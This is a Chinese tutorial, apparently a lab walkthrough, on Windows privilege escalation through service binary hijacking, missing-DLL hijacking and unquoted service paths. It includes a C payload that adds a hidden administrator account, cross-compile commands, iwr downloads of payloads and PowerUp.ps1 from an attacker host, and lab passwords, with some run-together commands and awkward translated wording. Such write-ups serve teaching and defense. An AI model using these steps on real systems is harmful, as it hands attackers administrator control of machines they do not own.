小白渗透工作理解第八篇——Windows提权(三)Windows服务

声明:本文内容来源于网络,如有侵权请联系作者进行删除!!!

目录

声明:本文内容来源于网络,如有侵权请联系作者进行删除!!!

1. 服务二进制劫持

1.1. 漏洞原理

1.2. 案例演示

1.3. 自动化检测脚本

2. 服务DLL劫持

2.1. 漏洞原理

2.1. 案例演示

3. 未引用的服务路径

3.1. 漏洞原理

3.2. 案例演示

3.3. 自动化检测脚本


1. 服务二进制劫持

1.1. 漏洞原理

        每个Windows服务都有一个关联的二进制文件。这些二进制文件在服务启动或转换为运行状态时执行。

        软件开发人员创建程序并将应用程序安装为Windows服务。在安装过程中,开发人员不会保护程序的权限,从而允许用户组的所有成员进行完全读写访问。因此,一个低特权的用户可以用恶意程序替换该程序。替换要执行的二进制文件,用户可以重新启动服务,或者如果服务配置为自动启动,则重新启动计算机。一旦服务重新启动,恶意二进制文件就会以服务的权限执行。

1.2. 案例演示

        我们开始以dave的身份通过RDP连接到CLIENTWK220密码qwertqwertqwert123。

1.2.1.服务筛选

        要获取所有已安装的Windows服务的列表,我们可以选择各种方法,例如GUI管理单元services.msc、Get-Service Cmdlet或Get-CimInstance Cmdlet(取代Get-WmiObject)。

        连接后,我们启动PowerShell并选择Get-CimInstance以查询WMI类win32_service。我们对每个服务的二进制文件的名称、状态和路径感兴趣,因此使用带有参数Name、State和PathName的Select。此外,我们使用Where-Object过滤掉任何不处于运行状态的服务。

命令:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

        

        两个XAMPP服务Apache2.4和mysql脱颖而出,因为二进制文件位于在C:\xampp\目录中,而不是在C:\Windows\System32中。这意味着服务是用户安装的,软件开发者负责目录结构以及软件。这种情况可能导致服务二进制劫持。

1.2.2.权限分析

        接下来,让我们枚举两个服务二进制文件上的权限。我们可以在传统的icacls Windows实用程序或PowerShell Cmdlet Get-ACL。在这个例子中,我们将使用icacls,因为它在PowerShell和Windows命令中都可用。

        icacls实用工具输出相应的主体及其权限掩码。下面列出了最相关的权限及其掩码:

        让我们首先在Apache二进制文件httpd.exe上使用icacls。

命令:

icacls "C:\xampp\apache\bin\httpd.exe"

        作为内置Users组的成员,dave只有Read和执行(RX)权限,这意味着我们无法替换包含恶意二进制文件。

        接下来,我们将从mysql服务中检查mysqld.exe。

命令:

icacls "C:\xampp\mysql\bin\mysqld.exe"

        输出显示成员具有完全访问(F)权限,允许我们可以写入并修改二进制文件,因此可以替换它。由于此权限之前缺少指示符(I),我们知道它是有意设置的,而不是由父目录继承的。管理员在配置服务时经常设置完全访问权限,但并不完全确定所需的权限。将其设置为“完全访问”可以避免大多数权限问题,但会产生安全风险。

1.2.3.生成恶意程序

        让我们在Kali上创建一个小的二进制文件,我们将用它来替换原始mysqld.exe。下面的C代码将创建一个名为dave2,并使用将该用户添加到本地Administrators组系统的功能。此的交叉编译版本代码将作为我们的恶意二进制文件。我们还是把它留给kali把文件名为adduser. c。

#include <stdlib.h>int main (){int i;i = system ("net user dave2 password123! /add");i = system ("net localgroup administrators dave2 /add");return 0;}

        接下来,我们将在Kali上使用mingw-64在 Kali 机器上交叉编译代码。由于我们知道目标计算机是 64 位,因此我们将使用x86_64-w64-mingw32-gcc将 C 代码交叉编译为 64 位应用程序。我们使用-o的参数来指定编译的可执行文件的名称。

命令:

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

         一旦adduser.exe被交叉编译,我们就可以将它转移到我们的目标,并将原始的mysqld.exe二进制文件替换为我们的恶意复制。

        替换恶意程序

        为此,我们在在Kali机器上安装adduser.exe,并在目标上使用iwr机器在PowerShell窗口下载我们的可执行文件。输入另外,我们将原始的mysqld.exe移动到我们的主目录。这样,我们就可以在成功执行权限提升尝试。

命令:

iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exemove C:\xampp\mysql\bin\mysqld.exe mysqld.exemove .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

1.2.4.重启服务        

        为了通过服务执行二进制文件,我们需要重新启动它。我们可以使用net stop命令来停止服务。

命令:

net stop mysql

        不幸的是,dave没有足够的权限来停止服务。这是意料之中的,因为大多数服务仅由管理用户。

        由于我们没有手动重启服务的权限,我们必须考虑另一种方法。如果设置了服务启动类型设置为“自动”,我们也许可以通过重新启动机器来重新启动服务。

        让我们检查mysql服务的启动类型Get-CimInstance Cmdlet,方法是选择Name和StartMode作为以及使用Where-Object过滤字符串“mysql”。

命令:

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

        服务设置为Auto,这意味着它将在重新引导后自动启动。为了发出重新启动命令,我们的用户需要 SeShutDownPrivilege特权。我们可以使用whoami  /priv来获取所有权限的列表。

命令:

whoami /priv

 

        显示我们的用户拥有相关权限(以及其他权限),因此,我们应该能够启动系统关闭或重新启动。禁用状态仅指示当前是否为正在运行的进程启用了该权限。在我们的例子中,这意味着 whoami 尚未请求且当前未使用 SeShutdownPrivilege 权限。

        如果SeShutdownPrivilege特权不存在,我们将等待受害者手动启动服务,这将是更不方便。

        我们可以使用shutdown和参数/r(reboot而不是关闭)和/t0(在零秒内)。

命令:

shutdown /r /t 0

        重新启动完成后,我们以dave的身份通过RDP再次连接,然后打开PowerShell窗口。由于发布的重新启动和启动类型auto,服务应该已经执行了我们替换原来的mysql服务二进制文件。

1.2.5.漏洞验证

        为了确认我们的攻击成功了我们来列出当地管理员组与Get-LocalGroupMember检查dave 2是否它被创造出来,并被添加进去。

命令:

Get-LocalGroupMember administrators

        dave 2是创建并添加到本地管理员组。我们可以使用RunAs来获得交互式shell。此外,我们还可以使用msfvenom 创建一个可执行文件,启动一个反向shell。

        要恢复服务的原始状态,我们必须删除我们的二进制文件mysqld.exe,恢复备份的原始二进制文件,以及重新启动系统。

1.3. 自动化检测脚本

1.3.1.下载脚本

        让我们回顾一个自动化工具名为PowerUp.ps1 并检查它是否检测到此权限升级向量。为此,我们将脚本复制到kali的主目录并启动 Python3 Web服务器来为其提供服务。

命令:

cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .python3 -m http.server 80

        在目标机器上,我们将其下载为dave,并在PowerShell并使用ExecutionPolicy Bypass启动powershell,否则,将无法运行脚本。

1.3.2.发现漏洞

        导入PowerUp.ps1后,我们可以使用Get-ModifiableServiceFile。此函数显示当前用户可以修改,例如服务二进制文件或配置文件。

命令:

iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1powershell -ep bypass. .\PowerUp.ps1Get-ModifiableServiceFile

        Get-ModifiableServiceFile的输出向我们显示PowerUp发现mysql(以及其他)易受攻击。此外,本发明还提供了一种方法,它提供有关文件路径、主体(BUILTIN\Users组),如果我们有权限重新启动service(False).

        PowerUp还为我们提供了一个AbuseFunction,这是一个内置的函数来替换二进制文件,如果我们有足够的权限,默认的行为是创建一个新的本地用户名为密码是Password 123!,并将其添加到本地管理员组。因为我们没有足够的权限重新启动服务,我们仍然需要重新启动机器。

1.3.3.原因排查

        如果我们将 AbuseFunction Install-ServiceBinary与服务名称一起使用,则会收到错误。

命令:

Install-ServiceBinary -Name 'mysql'

        输出表明当前用户无法修改服务二进制文件。但是,我们已经确定我们对服务二进制文件具有完全访问权限,并证明我们可以手动替换该文件。

        我们的调查表明,我们永远不应该盲目信任或依赖自动化工具的输出。然而,PowerUp 是一个识别潜在权限提升向量的好工具,它可以用来自动检查漏洞是否可以被利用。如果不是这种情况,如果潜在向量不易受到攻击或者 AbuseFunction 无法利用它,我们应该进行一些手动分析。

2. 服务DLL劫持

2.1. 漏洞原理

        替换服务的二进制文件是一种非常有效的尝试方法Windows系统上的权限提升。但是,由于我们的用户通常没有替换这些二进制文件的权限,因此我们需要采用更高级的方式来滥用 Windows 服务。

        动态链接库(DLL)提供以下功能程序或Windows操作系统。DLL包含代码或其他可执行文件或对象的资源,如图标文件使用。这些库为开发人员提供了使用和集成的方法已经存在的功能,而无需重新发明轮子。Windows系统使用DLL存储多个组件所需的功能。否则,每个组件都需要自己的功能源代码造成了巨大的资源浪费。在Unix系统中,这些文件被称为共享对象。

        我们可以使用多种方法来利用DLL在 Windows 上的工作原理,它们通常是提升权限的有效方法。不是重写二进制文件,我们仅仅覆盖服务二进制使用的DLL。我们只是覆盖服务二进制文件使用的 DLL,而不是覆盖二进制文件。但是,该服务可能无法按预期工作,因为缺少实际的DLL功能。在大多数情况下,这仍然会导致我们执行DLL代码。

        另一种方法是劫持DLL搜索顺序。搜索顺序由Microsoft定义,并确定搜索DLL时首先检查。默认情况下,所有当前Windows版本已启用安全DLL搜索模式。

        由于DLL劫持向量数量较多,因此 Microsoft 实施了此设置,并确保DLL更难以劫持。以下列表显示了取自 Microsoft 文档的标准搜索顺序:

1.从中加载应用程序的目录。

2.系统目录。

3.16位系统目录。

4.Windows目录。

5.当前目录。

6.PATH环境变量中列出的目录。

        Windows首先搜索应用程序的目录。有趣的是当前目录在位置5。当安全DLL搜索模式为禁用时,将在应用程序的目录。

        此方法的一个特例是缺少DLL。这意味着二进制试图加载系统上不存在的DLL。这经常在安装过程中或更新后出现错误。然而,在这方面,即使缺少DLL,该程序仍可能以受限的功能运行。

        要利用这种情况,我们可以尝试将恶意DLL(缺少的DLL的名称)在DLL搜索顺序的路径中,因此在二进制文件启动时执行。

2.2. 案例演示

        让我们在一个示例中展示如何滥用丢失的DLL使用RDP作为steve和密码连接到CLIENTWK220 securityIsNotAnOption+++++。我们将启动PowerShell并枚举服务。我们发现一个服务BetaService。

命令:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

2.2.1.权限分析

        让我们检查我们对服务的二进制文件的权限。

命令:

icacls .\Documents\BetaServ.exe

        我们没有替换二进制文件的权限,因为我们只有steve的读取和执行权限。因此,我们需要多调查一下。

        我们可以使用Process Monitor来显示任何进程、线程、文件系统或注册表相关活动的实时信息。我们的目标是识别 BetaService加载的所有 DLL并检测丢失的 DLL。一旦我们获得了服务二进制文件使用的DLL列表,我们就可以检查它们的权限以及它们是否可以被恶意DLL替换。或者,如果发现缺少DLL,我们可以尝试按照DLL搜索顺序提供我们自己的DLL。

2.2.2.lProcess Monitor使用

        我们将通过以backupadmin 身份启动 Process Monitor 来模拟此步骤。我们可以在 Windows 资源管理器中浏览到 C:\tools\Procmon\并双击Procmon64.exe。将出现一个窗口,要求我们提供管理用户凭据。一旦我们输入密码 admin123admin123!对于backupadmin并接受条款,程序将启动。

        如果没有任何过滤器,Process Monitor 提供的信息可能会相当庞大。每秒都会添加多个新的列表条目。目前,我们只对与目标服务的进程BetaServ相关的事件感兴趣,因此我们可以创建一个过滤器以仅包含与其相关的事件。为此,我们将单击 “过滤器”菜单 > “过滤器...”以进入过滤器配置。

        过滤器由四个条件组成。我们的目标是 Process Monitor 仅显示与BetaServ Process 相关的事件。我们输入以下参数:Process Name作为Column,is作为 Relation,BetaServ.exe作为Value,Include作为Action。输入后,我们将点击“添加”。

        应用过滤器后,列表为空。为了分析服务二进制,我们应该尝试重新启动服务作为二进制然后将尝试加载DLL。

2.2.3.重启BetaService服务

        在PowerShell中,我们输入Restart-Service  BetaService作为参数,而进程监视器在背景。

命令:

Restart-Service BetaService

        我们可以成功地重新启动BetaService。

        检查进程监视器,我们注意到出现了许多事件。在列表中向下滚动,可以找到各种CreateFile调用在操作列中。CreateFile函数可用于创建或打开文件。

        CreateFile 调用尝试在多个路径中打开名为myDLL.dll的文件。详细信息列指出这些调用的NAME NOT FOUND ,这意味着在任何这些路径中都找不到具有此名称的 DLL。

2.2.4.修改DLL执行顺序

        连续的函数调用遵循DLL 搜索顺序,从应用程序所在的目录开始,到 PATH环境变量中的目录结束。我们可以通过在 PowerShell 中使用$env:path显示此环境变量的内容来确认这一点。

命令:

$env:path

        PATH 环境变量中的目录与Process Monitor记录的CreateFile调用中使用的路径匹配。

        到目前为止,我们知道服务二进制文件尝试查找名为myDLL.dll的文件,但未能成功。为了滥用这一点,我们可以尝试将具有此名称的DLL文件写入DLL搜索顺序使用的路径。第一个调用尝试在steve的Documents文件夹中找到DLL。因为它是steve的主目录,所以我们有权写入此文件夹,并且可以在其中放置恶意DLL,然后重新启动服务来加载它。

2.2.5.创建恶意DLL

        在创建DLL之前,让我们简要回顾一下附加DLL的工作原理以及它如何引导我们执行代码。每个DLL都可以有一个名为DllMain的可选入口点函数,该函数在进程或线程附加DLL时执行。该函数通常包含四种情况,分别为DLL_PROCESS_ATTACH、DLL_THREAD_ATTACH、DLL_THREAD_DETACH、DLL_PROCESS_DETACH。这些情况处理进程或线程加载或卸载DLL时的情况。它们通常用于执行DLL的初始化任务或与退出DLL相关的任务。如果DLL没有DllMain入口点函数,则它仅提供资源。

        下面的清单向我们展示了来自Microsoft的代码示例,概述了包含这四种情况的C++中的基本DLL。DLL代码包含入口点函数DllMain和前面提到的switch语句中的情况。根据ul_reason_for_call的值,执行其中一种情况。到目前为止,所有情况都只使用break语句。

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle toDLLmodule
DWORD ul_reason_for_call,//调用函数的原因
LPVOID lpReserved ) //保留
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // 进程正在加载DLL。
        break;
        case DLL_THREAD_ATTACH: //进程正在创建一个新线程。
        break;
        case DLL_THREAD_DETACH: //线程正常退出。
        break;
        case DLL_PROCESS_DETACH: //进程卸载DLL。
        break;
    }
    return TRUE;
}

        Microsoft提供的注释指出,当进程加载DLL时,将使用DLL_PROCESS_ATTACH。由于我们示例中的目标服务二进制进程尝试加载DLL,因此我们需要向其中添加代码。

        让我们通过添加include语句以及对C++ DLL代码的系统函数调用来重用上一节中的C代码。此外,我们需要对头文件windows.h使用include语句,因为我们使用Windows特定的数据类型,例如BOOL。

现在,让我们用mingw交叉编译代码。我们使用相同的命令,但要更改输入代码文件,则output name,add--shared指定要构建的DLL。

命令:

x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

2.2.6.下载恶意DLL

        一旦DLL被编译,我们就可以将其传输到CLIENTWK220。我们可以在DLL所在的目录中启动Kali上的Python3 Web服务器并在目标计算机上的PowerShell窗口中使用iwr。在下载文件之前,我们将当前目录更改为文件夹下载到正确的我们的攻击目录。另外我们确认dave2使用net user命令时,系统上尚不存在。

命令:

cd Documents

iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll

net user

        myDLL.dll现在位于steve的Documents文件夹中,这是DLL搜索顺序中的第一个路径。

2.2.7.重启服务

        在我们重新开始之后BetaService,我们的DLL应该被加载到进程和代码中将用户dave2创建为本地管理员的成员DLL_PROCESS_ATTACH中的组。

命令:

Restart-Service BetaService

net user

net localgroup administrators

        服务重新启动后,dave2已创建并添加到本地管理员组中。

2.2.8.总结

        让我们简要总结一下,通过从 Process Monitor 获得的信息,我们发现来自 BetaService 的二进制文件试图加载myDLL.dll。由于服务二进制文件位于steve的Documents文件夹中,因此我们可以写入该目录,该目录也是 Microsoft 指定的 DLL 搜索顺序的第一个目录。因此,一旦服务重新启动,我们的恶意 DLL 就会被加载并执行。

3. 未引用的服务路径

3.1. 漏洞原理

        一个可能导致 Windows操作系统权限升级的有趣攻击媒介与未加引号的服务路径有关。当我们拥有服务主目录或子目录的写入权限但无法替换其中的文件时,我们可以使用此攻击。

        每个Windows 服务都映射到一个可执行文件,该文件将在服务启动时运行。如果该文件的路径包含一个或多个空格且未用引号引起来,则可能会成为权限升级攻击的机会

        让我们通过一个未加引号的服务二进制路径C:\Program Files\My Program\My Service\service.exe 的示例来展示这一点 。当Windows启动该服务时,由于路径中存在空格,它将使用以下顺序尝试启动可执行文件。

        显示了Windows的顺序尝试解释服务二进制路径以定位可执行文件文件。

        为了利用这一点并破坏原始未加引号的服务调用,我们必须创建一个恶意可执行文件,将其放置在与解释路径之一对应的目录中,并将其名称与解释的文件名相匹配。然后,一旦服务启动,我们的文件就会以与服务启动时相同的权限执行。通常,这恰好是本地系统帐户,这会导致成功的权限提升攻击。

3.2. 案例演示

 3.2.1.文件准备

我们可以将可执行文件命名为 Program.exe并将其放置在C:\中,将 My.exe放置在 C:\Program Files\中,或者将My.exe放置在C:\Program Files中\我的程序\ . 但是,前两个选项可能需要一些不太可能的权限,因为默认情况下标准用户没有写入这些目录的权限。第三个选项更有可能,因为它是软件的主目录。如果管理用户或开发人员将此目录的权限设置得太开放,我们就可以将恶意二进制文件放在那里。

        我们以steve 身份使用 RDP连接到 CLIENTWK220 (密码 securityIsNotAnOption++++++)。我们打开 PowerShell 并枚举正在运行和已停止的服务。

命令:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName

        显示了一个名为GammaService的已停止服务 。未加引号的服务二进制路径包含多个空格,因此可能容易受到此攻击向量的影响。

3.2.2.WMI发现漏洞

        识别路径中的空格和缺少引号的更有效方法是使用WMI 命令行(WMIC)实用程序。我们可以输入service来获取服务信息,并使用名称和路径名作为参数的动词get来仅检索这些特定的属性值。我们将通过管道将此命令的输出传递给 findstr,其中/i用于不区分大小写的搜索,而/v则仅打印不匹配的行。作为此命令的参数,我们将输入“C:\Windows\”仅显示 Windows 目录之外的二进制路径的服务。我们将此命令的输出通过管道传输到另一个findstr命令,该命令使用“””作为参数来仅打印不带引号的匹配项。

        让我们在cmd.exe而不是 PowerShell 中输入此命令,以避免第二个findstr命令中的引用出现转义问题,或者,我们可以在 PowerShell 中使用 Select-String。

命令:

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

        此命令的输出仅列出可能易受我们的攻击媒介攻击,例如GammaService。

3.2.3.权限分析

        在我们继续之前,让我们检查一下是否可以启动和停止已标识的使用Start-Service和Stop-Service作为steve服务。

命令:

Start-Service GammaService

Stop-Service GammaService

        输出表明steve有权启动和停止GammaService。

3.2.4.路径权限分析

        由于我们可以自己重新启动服务,因此不需要发出reboot重新启动服务。接下来,让我们列出Windows使用的路径尝试定位服务的可执行文件。

        让我们使用以下命令检查这些路径中的访问权限icacls。

命令:

icacls "C:\"

icacls "C:\Program Files"

        正如所料,我们的用户steve作为BUILTIN\Users的成员和NT AUTHORITY\AUTHENTICATED用户,在中没有写入这两条路中的任何一条的权限。现在,让我们检查第三个选项的路径。我们可以跳过第四个路径,因为它代表服务二进制文件它本身。

命令:

icacls "C:\Program Files\Enterprise Apps"

        BUILTIN\Users对路径C:\Program Files\Enterprise Apps具有 Write (w) 权限。我们现在的目标是在C:\Program Files\Enterprise Apps\中放置一个名为 Current.exe的恶意文件。

3.2.5.制作恶意程序

        我们可以通过编译“二进制劫持”部分中的 C 代码来重用adduser.exe二进制文件。在 Kali 上,我们在可执行文件的目录中启动一个 Python3 Web 服务器来为其提供服务。

        Web 服务器运行后,我们可以以steve的身份在目标计算机上下载adduser.exe。为了使用正确的名称保存文件以进行权限升级攻击,我们输入Current.exe作为-Outfile的参数。文件下载后,我们将其复制到 C:\Program Files\Enterprise Apps\。

命令:

iwr -uri http://192.168.119.3/adduser.exe -Outfile Current.exe

copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'

        现在,一切准备就绪,我们可以启动该服务,该服务应该执行Current.exe而不是原始服务二进制文件GammaServ.exe。为此,我们使用Start-Service和GammaService作为参数。我们可以使用net user来检查 dave2是否已创建,并使用 net localgroupadministrators来确认dave2已添加到本地管理员组中。

命令:

Start-Service GammaService

net user

net localgroup administrators

        Start-Service 命令显示 Windows 无法启动该服务的错误。该错误源于以下事实:我们的交叉编译C代码不接受原始服务二进制路径剩余的参数。但是,Current.exe仍然被执行,并且dave2被创建为本地管理员组的成员。

        要恢复原始服务的功能,我们必须停止该服务并删除二进制文件Current.exe。删除可执行文件后,一旦 服务启动,Windows 将再次使用服务二进制文件GammaServ.exe。

3.3. 自动化检测脚本

        让我们检查一下 PowerUp 是否识别了此漏洞。为此,我们使用iwr下载 PowerUp并将其导入到 PowerShell 会话中,就像我们之前所做的那样。然后我们将ExecutionPolicy设置为Bypass并使用Get-UnquotedService。

命令:

iwr http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1

powershell -ep bypass

. .\PowerUp.ps1

Get-UnquotedService

        显示 GammaService 被识别为易受攻击。让我们使用 AbuseFunction 并重新启动服务来尝试提升我们的权限。对于-Path ,我们输入上文中相同的Current.exe路径。如前所述,默认行为是创建一个名为john的新本地用户,密码为Password123!。此外,用户还被添加到本地管理员组中。

命令:

Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"

Restart-Service GammaService

net user

net localgroup administrators

        命令的输出显示了通过使用AbuseFunction,Write-ServiceBinary,用户john被创建为本地管理员。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值